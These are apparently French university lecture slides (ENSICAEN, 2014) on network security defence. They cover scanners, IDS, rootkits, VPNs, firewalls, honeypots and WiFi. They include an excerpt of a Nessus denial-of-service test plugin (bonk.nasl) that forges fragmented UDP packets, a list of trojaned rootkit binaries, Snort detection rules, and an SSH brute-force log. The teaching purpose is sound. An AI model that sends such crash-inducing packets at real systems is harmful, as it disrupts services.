ANSSI (Agence Nationale de la Scurit des Systmes
dInformation)
COSSI (Centre Oprationnel de la scurit des
Systmes dInformations)
CERT-FR (ex CERTA)


Sites spcialiss
Listes de diffusion: BugTraq

(http://www.securityfocus.com)
et beaucoup d'autres
15/10/2014

- ENSICAEN -

(c) dp

188

Correction des vulnrabilits


Correctifs (patches) sur les sites des
constructeurs (pas toujours immdiat).
Rcuprer les dernires versions des
applications dans le cas des logiciels
libres.

15/10/2014

- ENSICAEN -

(c) dp

189

Recherche des vulnrabilits


Un scanner est un programme qui dtecte les
faiblesses de scurit d'une machine distante ou
locale.
En interrogeant les ports TCP/IP, on peut dtecter:
Les services excuts un moment prcis
Les utilisateurs propritaires de ces services
Si les connexions anonymes sont acceptes
Si certains services rseaux ncessitent une
authentification
etc.
15/10/2014

- ENSICAEN -

(c) dp

190

Scanners
Attention aux problmes lgaux et
thiques lors de l'utilisation de
scanners.
Les scanners laissent des traces dans
les fichiers d'audit.
On trouve des scanners commerciaux
et domaines public.
15/10/2014

- ENSICAEN -

(c) dp

191

Scanners
Historiquement: SATAN (Security
Administrator's Tool for Analysing
Networks) distribu en avril 1995 par
Dan Farmer et Weitse Venema.
Quelques rfrences de scanners:
nessus http://www.nessus.org
iss
http://www.iss.net
15/10/2014

- ENSICAEN -

(c) dp

192

Nessus: un outil de test de


scurit
Tlchargeable sur :
http://www.nessus.org

Modle client/serveur:
Utilise des plug-in
Dispose un langage de programmation
(NASL = Nessus Attack Scripting Language)
15/10/2014

- ENSICAEN -

(c) dp

193

Nessus: suite
Gnre des rapports clairs et exportables.
Base de donnes des vulnrabilits connues remise
jour rgulirement.
Nessus (Licence GPL jusque V2)

Nessus (Licence propritaire)


15/10/2014

- ENSICAEN -

OpenVAS
(c) dp

194

Nessus: exemple de rsultat

15/10/2014

- ENSICAEN -

(c) dp

195

Exemple plug-in: bonk.nasl


(extrait)

start_denial();
PADDING = 0x1c;
FRG_CONST = 0x3;
sport = 123;
dport = 321;

udp1 = forge_udp_packet( ip : ip, uh_sport: sport,


uh_dport: dport, uh_ulen : 8 + PADDING);

addr = this_host();
ip = forge_ip_packet(ip_v
: 4,
ip_hl
: 5,
ip_len : 20 + 8 + PADDING,
ip_id
: 0x455,
ip_p
: IPPROTO_UDP,
ip_tos : 0,
ip_ttl : 0x40,
ip_off : IP_MF,
ip_src : addr);

udp2 = forge_udp_packet(ip : ip,uh_sport : sport,


uh_dport : dport, uh_ulen : 8 + PADDING);

15/10/2014

set_ip_elements(ip : ip, ip_off : FRG_CONST + 1,


ip_len : 20 + FRG_CONST);

- ENSICAEN -

send_packet(udp1, udp2, pcap_active:FALSE) x


500;
sleep(5);
alive = end_denial();
if(!alive){
set_kb_item(name:"Host/dead",
value:TRUE);
security_hole(0, prototype:"udp");
}

(c) dp

196

Exploitation des vulnrabilits


Le compte rendu des scanners peut tre
corrl avec les bases de donnes
d'incidents pour obtenir l'exploit
correspondant.
exemples:
http://www.securityfocus.com (rfrencement BID)
http://cve.mitre.org (rfrencement CVE)
15/10/2014

- ENSICAEN -

(c) dp

197

Intrusion Detection System


Bas sur:
une approche comportementale: dfinition de
profils type d'utilisateur,
une approche par scnario: cration d'une base
de donnes d'attaques, de signatures,
Un IDS ne doit pas gnrer trop de "faux positifs".
Surveillance sur le rseau: NIDS (Network Intrusion
Detection System).
15/10/2014

- ENSICAEN -

(c) dp

198

Snort: un exemple de NIDS


Network Intrusion Detection Software
Permet de dtecter les scanners et tentatives
dintrusion
Tlchargeable sur http://www.snort.org

15/10/2014

- ENSICAEN -

(c) dp

199

Snort: fonctionnalits
Dtection au niveau des protocoles
IP
TCP UDP ICMP
Dtection dactivits anormales
Stealth scan, OS Finger Printing
code ICMP invalide
Prprocesseur pour la gestion des fragments,
les sessions http,
15/10/2014

- ENSICAEN -

(c) dp

200

Architecture de snort
Sortie 1
plugins de
dtection
Prprocesseur 1

Sortie n

Prprocesseur n
dcodage

Dtection

libpcap

15/10/2014

- ENSICAEN -

(c) dp

201

Snort: exemples de rgles


alert tcp $EXTERNAL_NET any -> $SQL_SERVERS 3306
(msg:"MYSQL root login attempt"; flow:to_server,established;
content:"|0A 00 00 01 85 04 00 00 80 72 6F 6F 74 00|";
classtype:protocol-command-decode; sid:1775; rev:1;)
alert tcp $EXTERNAL_NET any -> $SQL_SERVERS 3306
(msg:"MYSQL show databases attempt";
flow:to_server,established; content:"|0f 00 00 00 03|show
databases"; classtype:protocol-command-decode; sid:1776; rev:
1;)
15/10/2014

- ENSICAEN -

(c) dp

202

Exemple de rsultat snort (avec


ipcop)

15/10/2014

- ENSICAEN -

(c) dp

203

Exemple d'attaquant

15/10/2014

- ENSICAEN -

(c) dp

204

Intrusion Prevention System


Un IPS peut stopper un trafic jug
suspect.
Un logiciel peut se trouver sur un
routeur, sur un firewall ou sur un botier
spcialis en rupture du rseau.
Exemples d'diteur d'IPS:
Cisco, ISS, McAfee,
15/10/2014

- ENSICAEN -

(c) dp

205

Outils de surveillance
Les outils d'analyse de trafic de surveiller un rseau,
des serveurs, des bornes wifi, ...
Quelques exemples d'outils:
mrtg (Multi Router Traffic Grapher)
http://www.mrtg.org
- WhatsUp, diteur Ipswitch

15/10/2014

- ENSICAEN -

(c) dp

206

mrtg
Utilisation de SNMP pour relever les
compteurs des priphriques (routeurs,
).
Cration de pages html en temps rels
contenant des graphes reprsentant le
trafic sur le rseau en cours de
surveillance.
15/10/2014

- ENSICAEN -

(c) dp

207

mrtg: exemple de rsultat

15/10/2014

- ENSICAEN -

(c) dp

208

WhatsUp
Logiciel commercial edit par Ipswitch
Permet dunifier des sytmes, un rseau, des
applications,
Propose un tableau de bord personnalisable
Permet de dfinir des seuils dactivit
15/10/2014

- ENSICAEN -

(c) dp

209

WhatsUp: tableau de bord

15/10/2014

- ENSICAEN -

(c) dp

210

WhatsUp: vue interface tudiante

15/10/2014

- ENSICAEN -

(c) dp

211

Craquage de mots de passe


Les mots de passe sont souvent un maillon faible de
la scurit.
Le choix d'un mot de passe doit obir des rgles
strictes.
Des outils existent pour dcrypter les mots de passe:
John The Ripper
l0phtcrack

15/10/2014

http://www.openwall.com/john/
http://www.l0phtcrack.com/

- ENSICAEN -

(c) dp

212

Un logiciel de stockage de
mot de passes

De plus en plus de mots de passe retenir.


Les mots de passe doivent tre robustes.
On nutilise pas le mme mot de passe partout!
Les post-its sont dconseills pour les mmoriser ;)

Exemple de logiciel de stockage de mots de passe:

http://keepass.info/
15/10/2014

- ENSICAEN -

(c) dp

213

Exemple de logiciel de
craquage

15/10/2014

- ENSICAEN -

(c) dp

214

Exemple d'attaque ssh


Aug 28 09:43:06 ns sshd[27775]: Failed password for root from 68.68.204.21 port 34309 ssh2
Aug 28 09:43:09 ns sshd[27777]: Failed password for invalid user zhangwei from 68.68.204.21 port 34403 ssh2
Aug 28 09:43:12 ns sshd[27779]: Failed password for root from 68.68.204.21 port 34510 ssh2
Aug 28 09:43:15 ns sshd[27782]: Failed password for root from 68.68.204.21 port 34612 ssh2
Aug 28 09:43:19 ns sshd[27784]: Failed password for invalid user test from 68.68.204.21 port 34722 ssh2
Aug 28 09:43:22 ns sshd[27786]: Failed password for root from 68.68.204.21 port 34830 ssh2
Aug 28 09:43:24 ns sshd[27788]: Failed password for invalid user testing from 68.68.204.21 port 34929 ssh2
Aug 28 09:43:27 ns sshd[27790]: Failed password for root from 68.68.204.21 port 35031 ssh2
Aug 28 09:43:30 ns sshd[27792]: Failed password for invalid user test from 68.68.204.21 port 35140 ssh2
Aug 28 09:43:34 ns sshd[27795]: Failed password for root from 68.68.204.21 port 35244 ssh2
Aug 28 09:43:36 ns sshd[27797]: Failed password for root from 68.68.204.21 port 35367 ssh2
Aug 28 09:43:40 ns sshd[27799]: Failed password for invalid user test from 68.68.204.21 port 35467 ssh2
Aug 28 09:43:42 ns sshd[27801]: Failed password for invalid user hwang from 68.68.204.21 port 35565 ssh2
Aug 28 09:43:45 ns sshd[27803]: Failed password for root from 68.68.204.21 port 35664 ssh2
Aug 28 09:43:48 ns sshd[27805]: Failed password for invalid user ypyou from 68.68.204.21 port 35749 ssh2
Aug 28 09:43:52 ns sshd[27807]: Failed password for root from 68.68.204.21 port 35852 ssh2
Aug 28 09:43:54 ns sshd[27810]: Failed password for invalid user whc from 68.68.204.21 port 35960 ssh2
Aug 28 09:43:57 ns sshd[27812]: Failed password for root from 68.68.204.21 port 36069 ssh2

15/10/2014

- ENSICAEN -

(c) dp

215

RootKits
Un "rootkit" est dfini par la NSA:
A hacker security tool that captures passwords and
message traffic to and from a computer. A collection
of tools that allows a hacker to provide a backdoor
into a system, collect information on other systems on
the network, mask the fact that the system is
compromised, and much more. Rootkit is a classic
example of Trojan Horse software. Rootkit is
available for a wide range of operating systems.
15/10/2014

- ENSICAEN -

(c) dp

216

RootKits
Souvent utilis par un intrus pour se dissimuler et garder les
accs privilgis qu'il a obtenu.
Les premires alertes sur l'utilisation de rootkits datent de fvrier
1994.
Outil devenu trs populaire et qui complique la dtection
d'intrusion.
Un rootkit classique contiendra un sniffer, des logiciels avec
backdoors comme inetd, login,, remplacera des commandes
comme ps, netstat, ls, On pourra trouver galement des
commandes de nettoyage de logs (/var/log), etc.

15/10/2014

- ENSICAEN -

(c) dp

217

Exemple de rootkit: lrkn

chfn
chsh
inetd
login
ls
du
ifconfig
netstat
passwd
ps
top
rshd
syslogd
linsniffer
fix
z2
wted
lled
bindshell
tcpd

15/10/2014

Trojaned! User->r00t
Trojaned! User->r00t
Trojaned! Remote access
Trojaned! Remote access
Trojaned! Hide files
Trojaned! Hide files
Trojaned! Hide sniffing
Trojaned! Hide connections
Trojaned! User->r00t
Trojaned! Hide processes
Trojaned! Hide processes
Trojaned! Remote access
Trojaned! Hide logs
Packet sniffer!
File fixer!
Zap2 utmp/wtmp/lastlog eraser!
wtmp/utmp editor!
lastlog editor!
port/shell type daemon!
Trojaned! Hide connections, avoid denies

- ENSICAEN -

(c) dp

218

Dtection de rootkits

Si la machine est infecte, toutes les commandes locales sont


suspectes.

Dtection des ports ouverts non officiels (avec nmap sur une machine
externe). Par exemple l'inetd de lrk4 ouvre le port 5002.

Recherche des rpertoires spcifiques aux rootkits (par exemple /dev/


ptry avec lrk4).

Utilitaires de dtection:
unix:
chkrootkit
http://www.chkrootkit.org/
windows: rootkitrevealer http://www.sysinternals.com/ntw2k/freeware/
rootkitreveal.shtml

Strider GhostBuster http://research.microsoft.com/rootkit/


F-Secure Blacklight http://www.f-secure.com/blacklight/

Se prmunir des rootkits: tripwire

15/10/2014

- ENSICAEN -

http://www.tripwire.com
(c) dp

219

Bibliothques Dynamiques
Beaucoup de fichiers sont modifier pour
rester invisible.
Cependant, les binaires utilisent le concept
des bibliothques dynamiques pour viter
d'tre trop gros (dll sous windows, fichiers .so
sous unix).
La modification d'une bibliothque dynamique
peut suffire modifier plusieurs commandes.
15/10/2014

- ENSICAEN -

(c) dp

220

Exemple bibliothque
dynamique
[root@ns /root]# ldd `which uptime` `which top` `which ps`
/usr/bin/uptime:
libproc.so.2.0.0 => /lib/libproc.so.2.0.0 (0x40018000)
libc.so.6 => /lib/libc.so.6 (0x40023000)
/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
/usr/bin/top:
libproc.so.2.0.0 => /lib/libproc.so.2.0.0 (0x40018000)
libncurses.so.4 => /usr/lib/libncurses.so.4 (0x40023000)
libc.so.6 => /lib/libc.so.6 (0x40060000)
/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
/bin/ps:
libproc.so.2.0.0 => /lib/libproc.so.2.0.0 (0x40018000)
libc.so.6 => /lib/libc.so.6 (0x40023000)
/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)

15/10/2014

- ENSICAEN -

(c) dp

221

Chiffrement, tunnels
et vpn
15/10/2014

- ENSICAEN -

(c) dp

222

Chiffrement de documents
Les documents importants doivent tre chiffrs.
Le chiffrement peut tre matriel (ordinateur portable avec
disque auto chiffrant, cl usb auto chiffrante, )
Le chiffrement peut tre logiciel, beaucoup de logiciels existent.
winrar (chiffrement symtrique)
GnuPG (chiffrement asymtrique)
Enigmail plugin de Thunderbird pour lchange de courrier
lectronique chiffr/sign.
Truecrypt: Chiffrement de disques, de partitions de disques,
de cls USB.
15/10/2014

- ENSICAEN -

(c) dp

223

Protocoles chiffrs
Les informations confidentielles doivent
transiter sur le rseau par des protocoles
chiffrs:
Exemples:
https
pops
imaps
smtps
etc.
15/10/2014

plutt que http


plutt que pop
plutt que imap
plutt que smtp
- ENSICAEN -

(c) dp

224

Session chiffre
ssh (Secure Shell) plutt que
telnet,rlogin,rsh,rcp
Gnration d'une paire de clef RSA (toutes
les heures) par le serveur.
Envoi de la clef publique au client qui se
connecte.
Le client gnre une clef symtrique, la
chiffre avec la clef du serveur et la renvoie au
serveur.
Le reste de la communication est en
chiffrement symtrique.
15/10/2014

- ENSICAEN -

(c) dp

225

Tunneling
Un protocole de tunneling est utilis pour
crer un chemin priv (tunnel) travers une
infrastructure ventuellement publique.
Les donnes peuvent tre encapsules et
chiffres pour emprunter le tunnel.
Solution intressante pour relier deux entits
distantes moindre cot.
15/10/2014

- ENSICAEN -

(c) dp

226

Tunneling ssh
Un flux tcp quelconque peut tre redirig dans un
tunnel ssh:
client

serveur

client ssh

15/10/2014

- ENSICAEN -

serveur ssh

(c) dp

227

Exemple tunneling ssh

Client ssh (http://www.ssh.com)


Paramtres Outlook Express

15/10/2014

- ENSICAEN -

(c) dp

228

Autre exemple de tunneling


Autre logiciel de tunneling: stunnel utilisant SSL
(http://www.stunnel.org)

15/10/2014

- ENSICAEN -

(c) dp

229

Configuration client courrier

Paramtres outlook express

15/10/2014

- ENSICAEN -

(c) dp

230

Connexions TCP/IP
scurises
SSL (Secure Sockets Layer)
Se situe entre la couche application et la
couche transport.
Garantit l'authentification, l'intgrit et la
confidentialit.
Largement utilis pour la scurisation des
sites www (https).

15/10/2014

- ENSICAEN -

(c) dp

231

Fonctionnement SSL
1) Hello, version de SSL, protocole de chiffrement pris en charge,
longueurs de cl, mcanisme d'change de cl

client

2) Hello, examen des mthodes supportes par le client, envoi les


mthodes et algorithmes de chiffrement, longueurs et mcanisme
d'changes de cl compatibles, envoi de la cl publique approuve par
une autorit.

SSL

serveur
SSL

3) Vrification du certificat envoy par le serveur, envoi d'un message cl


matre: liste de mthodologie de scurit de scurit employes par le
client et cl de session crypte avec la cl publique du serveur.

4) Message "client scuris" indiquant que les communications sont sres.

15/10/2014

- ENSICAEN -

(c) dp

232

IPSec
IP SECurity protocol issu d'une task force de l'IETF
Quelques spcifications de l'IPSec:
Authentification, confidentialit et intgrit (protection contre
l'IP spoofing et le TCP session hijacking)
Confidentialit (session chiffre pour se protger du sniffing)
Scurisation au niveau de la couche transport (protection
L3).
Algorithmes utiliss:
Authentification pas signature DSS ou RSA
Intgrit par fonction de condensation (HMAC-MD5, HMACSHA-1, )
Confidentialit par chiffrement DES, RC5,IDEA,CAST,
Blowfish
15/10/2014

- ENSICAEN -

(c) dp

233

Fonctionnement IPSec
ipsec peut fonctionner:
en mode transport; les machines source et
destination sont les 2 extrmits de la connexion
scurise.
en mode tunnel: les extrmits de la connexion
scurise sont des passerelles; les
communications hte hte sont encapsules
dans les enttes de protocole de tunnel IPSec.
en mode intermdiaire: tunnel entre une machine
et une passerelle.
15/10/2014

- ENSICAEN -

(c) dp

234

Services de scurit IPSec


IPSec utilise 2 protocoles pour
implmenter la scurit sur un rseau
IP:
Entte d'authentification (AH) permettant
d'authentifier les messages.
Protocole de scurit encapsulant (ESP)
permettant d'authentifier et de chiffrer les
messages.
15/10/2014

- ENSICAEN -

(c) dp

235

IPSec: mode transport

15/10/2014

- ENSICAEN -

(c) dp

236

IPSec: mode tunnel

15/10/2014

- ENSICAEN -

(c) dp

237

IPSec: mode intermdaire

15/10/2014

- ENSICAEN -

(c) dp

238

Etablissement d'une
connexion IPSec
2 machines doivent s'accorder pour l'utilisation des
algorithmes et protocoles utiliser
Une SA (Security Association) est tablie pour
chaque connexion.
Une SA comprend:
Un algorithme de chiffrement (DES, 3DES)
Une cl de session via IKE (Internet Key
Exchange)
Un algorithme d'authentification (SHA1, MD5)

15/10/2014

- ENSICAEN -

(c) dp

239

Virtual Private Network

Permet de crer un tunnel chiffr sur une infrastructure publique entre


2 points.
Les logiciels de vpn peuvent s'appuyer sur ipsec ou ssl
(exemple:openvpn)

Site site

utilisateur nomade
15/10/2014

- ENSICAEN -

(c) dp

240

Firewall

15/10/2014

- ENSICAEN -

(c) dp

241

Firewall
Protger son rseau du monde extrieur (Internet,
autres services de l'entreprise).
Maintenir des utilisateurs l'intrieur du rseau
(employ, enfant, )
Restreindre le nombre de machines surveiller avec
un maximum d'attention.
Certaines machines doivent rester ouvertes (serveur
www, dns, etc).
15/10/2014

- ENSICAEN -

(c) dp

242

Firewall
C'est un outil souvent indispensable
mais jamais suffisant:
Pas de protection contre le monde intrieur
Pas de protection contre les mots de passe
faibles

Ncessite une politique de scurit:


Tout autoriser et interdire progressivement
Tout interdire et ouvrir slectivement
15/10/2014

- ENSICAEN -

(c) dp

243

Firewall
Contrler les accs entrant et sortant:
par service
par adresse IP

Un firewall n'empche pas:


de bien protger et administrer toutes ses
machines.
de bien structurer son rseau.
d'duquer et sensibiliser les utilisateurs.
la signature de charte de bonne utilisation.
la surveillance quotidienne.
etc.
15/10/2014

- ENSICAEN -

(c) dp

244

Firewall
Diffrents types de firewall:
filtres de paquets
passerelles de circuits
passerelles d'application
Combinaison des 3 types prcdents

15/10/2014

- ENSICAEN -

(c) dp

245

Firewall: Filtrage de paquets


Paquets peuvent tre tris en fonction des adresses
IP,des ports sources et destination, du contenu.
Pas de notion de contexte; la dcision est prise
d'aprs le contenu du paquet en cours.
Problme pour les fragments IP (pas de numro de
port dans la trame)
Certains protocoles sont difficiles filtrer (ftp, ...)
15/10/2014

- ENSICAEN -

(c) dp

246

Filtrage de paquets

15/10/2014

- ENSICAEN -

(c) dp

247

Firewall: Passerelles de
circuits
Les passerelles de circuits relaient les
connexions TCP.
L'appelant se connecte un port TCP
de la passerelle elle mme connecte
sur le port du service de la machine
destination.
15/10/2014

- ENSICAEN -

(c) dp

248

Passerelle de circuits

15/10/2014

- ENSICAEN -

(c) dp

249

Firewall: Passerelles
d'applications
Un programme spcifique pour chaque
application (exemples: relai de courrier,
relai http, ).
Permet de sectionner les flux.
Plus complexes mettre en uvre.
15/10/2014

- ENSICAEN -

(c) dp

250

Passerelle d'applications

15/10/2014

- ENSICAEN -

(c) dp

251

Firewall "stateful multilayer"

15/10/2014

- ENSICAEN -

(c) dp

252

Installation type d'un firewall

15/10/2014

- ENSICAEN -

(c) dp

253

Fonctionnalits actuelles d' un


firewall

Filtrage sur adresses IP/Protocole,


Inspection stateful et applicative,
Intelligence artificielle pour dtecter le trafic anormal,
Filtrage applicatif
HTTP (restriction des URL accessibles),
Anti Spam
Antivirus, Anti-Logiciel malveillant

Translation d'adresses,
Tunnels IPsec, PPTP, L2TP,
Identification des connexions,
Serveur Web pour offrir une interface de configuration agrable,
Relai applicatif (proxy),
Dtection d'intrusion (IDS)
Prvention d'intrusion (IPS)

15/10/2014

- ENSICAEN -

(c) dp

254

Exemples firewall
checkpoint
http://www.checkpoint.com

Cisco: pix, asa,

15/10/2014

- ENSICAEN -

(c) dp

255

Protection du poste de travail

Les postes de travail doivent tre protgs individuellement; ils sont


parties intgrantes de la scurit d'un site:
Antivirus
Anti Spywares
Firewall personnels
Mise jour de correction des vulnrabilits

15/10/2014

- ENSICAEN -

(c) dp

256

Les honeypots

15/10/2014

- ENSICAEN -

(c) dp

257

Mise en uvre dun honeypot

Un honeypot est une machine connecte au rseau et


volontairement de scurit faible.

Objectifs:
Distraire un attaquant pour protger des machines plus sensibles.
Dcouvrir de nouvelles techniques dattaques, de nouveaux outils,

Quelques exemples de mise en uvre:


le projet honeynet
http://www.honeynet.org
European Network of Affined Honeypots
http://www.fp6-noah.org/

15/10/2014

- ENSICAEN -

(c) dp

258

Honeypot
Un honeypot peut etre une machine simple sans
scurit (par exemple sans mot de passe
administrateur).
Un logiciel permettant de grer des htes virtuels et
de simuler des piles TCP/IP diffrentes.
Une liste de logiciels d'honeypot:
http://www.honeypots.net/honeypots/products

15/10/2014

- ENSICAEN -

(c) dp

259

Honeypots faible interaction


Rcolte dinformations moindre risque
Quelques exemples:
honeyd
http://www.honeyd.org
honeytrap
http://honeytrap.mwcollect.org/
sepenthes
http://www.mwcollect.org/
Specter (commercial) http://www.specter.com

15/10/2014

- ENSICAEN -

(c) dp

260

Specter, un honeypot commercial

15/10/2014

- ENSICAEN -

(c) dp

261

Honeypots forte interaction


Donnent de vritables accs des
attaquants.
Risques beaucoup plus importants
impliquant un dploiement prudent.
Exemple:
ROO HoneyWall
15/10/2014

- ENSICAEN -

(c) dp

262

Wifi et scurit

15/10/2014

- ENSICAEN -

(c) dp

263

WiFi: prsentation et scurit


Norme internationale 802.11 maintenue
par lIEEE.
Normes actuelles:
802.11b (WiFi) 2,4 Ghz, 11 Mb/s
802.11a (WiFi 5) 5 Ghz, 54 Mb/s
802.11g 2,4 Ghz, 54 Mb/s

15/10/2014

- ENSICAEN -

(c) dp

264

Avantage des connexions sans fil

Plus de cbles, de rpteurs,


Facilit dextension du rseau.
Facilite la mobilit.
Traverse les obstacles
Intressant pour monter des rseaux
temporaires.

15/10/2014

- ENSICAEN -

(c) dp

265

Modes de communication

Mode infrastructure

15/10/2014

- ENSICAEN -

Mode AD HOC

(c) dp

266

Wi-Fi: la rglementation
Lutilisation des frquences est normalise par lETSI (European
Telecommunications Standard Institute).
Cette normalisation est soumise lagrment dorganismes
nationaux; en France par lARCEP (ex ART).
Pas dhomognisation de la disponibilit des frquences au
niveau europen.
En France, libralisation de lutilisation des frquences (France
hexagonale) depuis le 24 juillet 2003 (communiqu de lART).

15/10/2014

- ENSICAEN -

(c) dp

267

Ce qui est interdit


Auditer,surveiller, couter un rseau sans
autorisation est illgal.
Le Wardriving (extension du Wardialing) est illgal
(sport mondial jusqu'en 2004 sur http://
www.worldwidewardrive.org) .
Le warchalking (http://www.warchalking.org/) est
illgal.
Dni de services (brouillage,
Saturation)
15/10/2014

- ENSICAEN -

(c) dp

268

Les nouveaux risques


Plus de limite physique au rseau.
Equivalent avoir une prise rseau sur le
trottoir.
Possibilit de capter le signal assez loin.
Dni de services ais.
15/10/2014

- ENSICAEN -

(c) dp

269

Les consquences
Ecoute et interception de trafics
Insertion de trafic
Introduction d'une station illicite sur le rseau
rebonds
15/10/2014

- ENSICAEN -

(c) dp

270

Scurisation des points d'accs


Changer les mots de passe par dfaut.
Dsactiver les services inutiles (telnet, snmp,
)
Rgler la puissance d'mission au minimum
ncessaire.
Mettre jour le "firmware" au fur et mesure
des mises jours.
Scuriser l'accs physique des points
d'accs.
15/10/2014

- ENSICAEN -

(c) dp

271

Le chiffrement WEP
Historiquement le premier chiffrement utilis par le WiFi.
Chiffrement symtrique des trames 802.11 utilisant l'algorithme
RC4 avec des cls de 64 ou 128 bits.
Les 24 premiers bits servent pour l'initialisation diminuant
d'autant la taille de la cl.
La cl doit tre partage par tous les quipements.
Cet algorithme de chiffrement est trs insuffisant.

15/10/2014

- ENSICAEN -

(c) dp

272

Le chiffrement WPA
Le chiffrement WPA repose sur des protocoles d'authentification
et un algorithme de chiffrement robuste: TKIP (Temporary Key
Integrity Protocol) qui introduit un chiffrement par paquet et un
changement automatique des cls de chiffrement.
WPA repose sur un serveur d'authentification (gnralement un
serveur RADIUS, Remote Authentification Dial-in User Service)
permettant d'identifier les utilisateurs et de leur dfinir des droits.
Pour les petits rseaux, une version restreinte du protocole est
appele WPA-PSK (Pre Share Key) ncessitant de dployer
une mme cl de chiffrement (pass phrase) pour tous les
quipements.

15/10/2014

- ENSICAEN -

(c) dp

273

Le chiffrement WPA2
La norme 802.11i a t ratifie le 24
juin 2004.
La certification WPA2 a t cre par la
Wi-Fi Alliance.
WPA2 utilise l'algorithme AES
(Advanced Encryption Standard).

15/10/2014

- ENSICAEN -

(c) dp

274

L'authentification
Authentification par adresse MAC est peu scurise.
Le protocole 802.1X dfinit une encapsulation de EAP
(Extensible Authentification Protocol) au dessus du protocole
IEEE 802.11
Diffrentes variantes du protocole EAP:
Protocole EAP-MD5 (EAP - Message Digest 5) ;
protocole LEAP (Lightweight EAP) developp par Cisco ;
protocole EAP-TLS (EAP - Transport Layer Security) cre par
Microsoft et accept sous la norme RFC 2716 ;
protocole EAP-TTLS (EAP - Tunneled Transport Layer Security)
developp par Funk Software et Certicom ;
protocole PEAP (Protected EAP) developp par Microsoft, Cisco et
RSA Security ...
15/10/2014

- ENSICAEN -

(c) dp

275

L'authentification
EAP-TLS authentifie les deux parties
par des certificats; le serveur prsente
un certificat, le client le valide et
prsente son tour son certificat.
PEAP utilis avec MS-CHAPv2 requiert
un certificat ct serveur et un couple
login/mot de passe ct client.
15/10/2014

- ENSICAEN -

(c) dp

276

Conseils et
conclusions
15/10/2014

- ENSICAEN -

(c) dp

277

Que faire en cas d'intrusion


Pas de rponse unique:
Dbrancher ou non la machine (souhaite t'on dcouvrir
les mthodes utilises par l'intrus ?)
Sauvegarder la machine en l'tat afin de pouvoir l'analyser
posteriori.
Reformater et rinstaller le systme partir d'une
sauvegarde saine.
Modifier les mots de passe utilisateurs et les ventuelles
cls de chiffrement.
Ne pas donner d'informations sur l'incident des tiers non
directement concerns.
tre vigilant, l'intrus reviendra probablement.
15/10/2014

- ENSICAEN -

(c) dp

278

Qui prvenir en cas


d'incidents
La direction (seule habilite porter plainte).
Le responsable scurit du site.
un CERT (Computer Emergency Response
Team)
Une plainte pourra tre dpose en fonction
de la nature et de la gravit de l'incident.

15/10/2014

- ENSICAEN -

(c) dp

279

Installation/Administration
Prudence dans linstallation par dfaut des logiciels
Protection physique des quipements.
Intgration des objectifs "scurit" dans les choix de
rseaux et des systmes d'exploitation.
Localiser et ne laisser ouvert que les services
indispensables.
Fermer les comptes inutiliss.
15/10/2014

- ENSICAEN -

(c) dp

280

Installation/Administration
Se tenir informer des vulnrabilits.
Passer rgulirement les correctifs.
Installer les outils ncessaires (contrle
d'authentification, audits, )
Consulter rgulirement le journal gnr par
ces outils.
Informer ses utilisateurs.
Chiffrement des informations
etc
15/10/2014

- ENSICAEN -

(c) dp

281

Conseils aux utilisateurs


Responsabilit d'un compte informatique (personnel
et incessible).
Mot de passe sr et protg.
Prudence avec les fichiers attachs des courriers
lectroniques, avec les logiciels gadgets ,

15/10/2014

- ENSICAEN -

(c) dp

282

Conclusions
Aucune scurit n'est parfaite. On dfinit juste un seuil.
Des outils sont ncessaires, mais le travail quotidien est
indispensable.
Le niveau de scurit d'un site est celui de son maillon le plus
faible.
La scurit n'apporte qu'un gain indirect. Par consquent, il
n'est pas facile de convaincre les dcideurs de l'entreprise.

15/10/2014

- ENSICAEN -

(c) dp

283

Conclusions
Le seul systme informatique qui est vraiment
sr est un systme teint et dbranch,
enferm dans un blockhaus sous terre,
entour par des gaz mortels et des gardiens
hautement pays et arms. Mme dans ces
conditions, je ne parierais pas ma vie dessus.
(c) Gene Spafford, fondateur et directeur du
"Computer Operations, Audit and Security
Technology Laboratory.
15/10/2014

- ENSICAEN -

(c) dp

284

Annexe 1: quelques URL

http://www.ssi.gouv.fr
http://www.datasecuritybreach.fr
http://www.securityfocus.com
http://www.sans.org
http://www.frsirt.coml
et beaucoup d'autres .

16/10/2014

- ENSICAEN -

(c) dp

285

Annexe 2 : Rfrences
bibliographiques
Halte aux hackers, Stuart McClure
Dtection des intrusions rseaux, Stephen
Northcutt
Le guide anti hacker,
Scurit optimale
Firewall et scurit Internet, S.M. Bellovin
Rapport Lasbordes
Magazines misc (http://www.miscmag.com)
15/10/2014

- ENSICAEN -

(c) dp

286

Vous aimerez peut-être aussi